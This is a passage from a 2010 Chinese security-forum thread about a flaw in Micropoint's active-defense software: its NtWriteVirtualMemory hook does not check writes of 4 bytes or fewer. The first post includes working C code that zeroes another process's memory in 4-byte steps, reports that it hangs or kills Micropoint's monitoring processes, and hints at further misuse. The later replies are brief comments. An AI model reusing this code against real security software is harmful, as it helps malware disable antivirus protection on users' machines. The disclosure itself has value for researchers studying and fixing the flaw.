点饭的百度空间
银牌会员
     
积分 2315
发帖 2236
注册 2007-11-30
|
#1 [yeluosong]1.2.10581.0284绕过安全限制的问题
[yeluosong]
2010-06-04 17:14
漏洞涉及产品:微点主动防御1.2.10581.0284版本,其他版本尚未关注。
漏洞影响:通过此漏洞可以让攻击者绕过微点对NtWriteVirtualMemory函数的监控,从而能写任意进程的ring3内存空间,为DLL注入等恶意行为铺路。
漏洞详细原理:微点主动防御软件为了有效防止恶意进程写其他进程的内存空间,inlinehook了系统函数NtWriteVirtualMemory。但在处理NtWriteVirtualMemory的第四个参数BufferSize时,未对BufferSize<=4的写入情况进行控制,导致此情景发生。
利用程序代码:
操作系统:win7,winXP
By yeluosong
[achillis]
以上就是漏洞的具体细节。这导致我们其实还可以对任意进程进行WriteProcessMemory,虽然每次最多只能写4个字节,但是这并不是问题,写的内容多,那就分开多写几次就行了。
按照yeluosong同学的代码实验了一下,确实写进去了,如图:

yeluosong同学的代码写的是explorer.exe进程,经测试微点的监控进程MPMon.exe之类也可以写~~
但是一次写的内容超过4字节仍然会返回ACCESS_DENIED,拒绝访问,看来真的是存在这个问题。
于是想到把以前写的内存清零杀进程改一改来对付微点。
VOID FuckMPProcess(DWORD ProcessId)
{
DWORD i=0;
DWORD Value=0;
DWORD dwWritten=0;
DWORD dwSize=4;
DWORD Addr=0x10000;
MEMORY_BASIC_INFORMATION mbi={0};
DWORD OldProtect=0;
HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION,FALSE,ProcessId);
if (hProcess==NULL)
{
printf("Open Process Failed!\n");
return ;
}
printf("OpenProcess OK.Handle=0x%08X\n",hProcess);
//起始地址可以从0x10000开始,从这儿开始也可以,因为大部分系统DLL的地址都在这儿以后
for (Addr=0x70000000;Addr<=0x7FFFFFFF;Addr+=0x1000) {
if (Addr%0x100000==0)
{
printf("Addr=0x%08X\n",Addr);
}
if (VirtualProtectEx(hProcess,(PVOID)Addr,0x1000,PAGE_EXECUTE_READWRITE,&OldProtect))
{
//把一页分N次写,每次只写4字节
for (i=0;i<0x1000;i+=4)
{
WriteProcessMemory( hProcess, (PVOID)(Addr+i) , &Value, dwSize, &dwWritten );
if (!dwWritten)
{
break;
}
}
}
}
CloseHandle(hProcess);
printf("Finished!\n");
}
很简单的代码,只不过把以前的一次写入分成多次,每次只写4字节而已,也就是效率低了点~~经测试,在一定概率下可使监控进程(MPSVCX.exe)直接退出(实验了十几次只有两次是直接退出),其它情况下会使微点的进程CPU占用率达到100%,卡而不死,实验其它一些普通的程序比如计算器、记事本都可以杀死,看来还是因为某些保护的原因造成的吧,杀冰刃也是这样。对微点的监控程序MPMon.exe进行测试时,100%可造成其卡死,托盘图标不再运动,主界面无法打开。
上面的代码只是随便写写,这个测试并没有造成什么严重的后果,但是毕竟是一个BUG,若是对微点的程序比较熟悉,再加上这个可以写任意进程内存的漏洞,综合起来应该还可以搞点XX~~
|
※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint |
 |
|
2010-6-6 23:16 |
|
littlefritz
版主
       微点帮帮团团长
积分 3505
发帖 3502
注册 2009-5-23 来自 微点帮帮团
|
|
2010-6-7 11:28 |
|
snhao
银牌会员
     
积分 1791
发帖 1782
注册 2007-6-12
|
#3
同上
|
※ ※ ※ 本文纯属【snhao】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 东方微点论坛 |
 |
|
2010-6-7 15:10 |
|
byzhusd
注册用户
 
积分 91
发帖 91
注册 2010-6-1
|
#4
看来问题多多啊!还有很长的路要走啊
|
※ ※ ※ 本文纯属【byzhusd】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-6-8 16:49 |
|
wsh_888
中级用户
  
积分 347
发帖 345
注册 2009-10-3
|
#5
关注
|
※ ※ ※ 本文纯属【wsh_888】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-6-8 18:28 |
|
173659857
中级用户
  
积分 327
发帖 330
注册 2009-5-22
|
#6
但愿在新版本中得以改善
|
※ ※ ※ 本文纯属【173659857】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-6-17 08:04 |
|